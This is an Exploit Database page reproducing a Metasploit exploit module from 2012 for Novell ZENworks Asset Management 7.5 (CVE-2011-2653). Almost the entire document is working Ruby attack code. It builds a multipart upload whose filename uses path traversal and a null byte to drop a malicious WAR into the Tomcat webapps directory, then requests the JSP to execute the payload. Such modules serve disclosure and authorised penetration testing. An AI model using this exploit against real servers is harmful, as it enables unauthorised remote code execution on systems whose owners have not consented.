Novell ZENworks Asset Management – Remote Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-08-15
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/20502/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'=> 'Novell ZENworks Asset Management Remote Execution',
  			'Description' => %q{
  					This module exploits a path traversal flaw in Novell ZENworks Asset Management
  				7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
  				outside of the MalibuUploadDirectory and then make a secondary request that allows
  				for arbitrary code execution.
  			},
  			'Author' =>
  				[
  					'Unknown', # Vulnerability discovery
  					'juan vazquez' # Metasploit module
  				],
  			'License' => MSF_LICENSE,
  			'References'=>
  				[
  					[ 'CVE', '2011-2653' ],
  					[ 'OSVDB', '77583' ],
  					[ 'BID', '50966' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
  					[ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
  				],
  			'Privileged'=> true,
  			'Platform'=> [ 'java' ],
  			'Targets' =>
  				[
  					[ 'Java Universal',
  						{
  							'Arch' => ARCH_JAVA,
  							'Platform' => 'java'
  						},
  					]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Nov 02 2011'))
  
  		register_options(
  			[
  				Opt::RPORT(8080),
  				OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
  			], self.class )
  	end
  
  	def exploit
  
  		# Generate the WAR containing the payload
  		app_base = rand_text_alphanumeric(4+rand(32-4))
  		jsp_name = rand_text_alphanumeric(8+rand(8))
  		war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
  
  		uid= rand_text_alphanumeric(34).to_s
  
  		data ="------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
  		data << "prod\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
  		data << "newreport\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
  		data << "n\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
  		data << "malibu.StartImportPAC\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
  		data << "malibu.StartImportPAC\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
  		data << "MM/dd/yyyy\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
  		data << "$\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
  		data << "start\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
  		data << ",\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
  		data << ".\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
  		data << "-\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
  		data << "yes\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
  		data << "Content-Type: application/octet-stream\r\n\r\n"
  		data << war_data
  		data << "\r\n"
  		data <<"------#{uid}\r\n"
  		data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
  		data << "Html/UploadSuccess.html\r\n"
  		data <<"------#{uid}--\r\n"
  
  		res = send_request_cgi(
  			{
  				'uri'=> "/rtrlet/catch",
  				'method' => 'POST',
  				'ctype' => "multipart/form-data; boundary=----#{uid}",
  				'data'=> data,
  			})
  
  		print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
  
  		select(nil, nil, nil, 10)
  
  		if (res.code == 500)
  			print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
  				send_request_raw(
  					{
  						'uri'=> "/#{app_base}/" + "#{jsp_name}" + '.jsp',
  						'method' => 'GET',
  					})
  		else
  			print_error("WAR upload failed...")
  		end
  
  	end
  
  end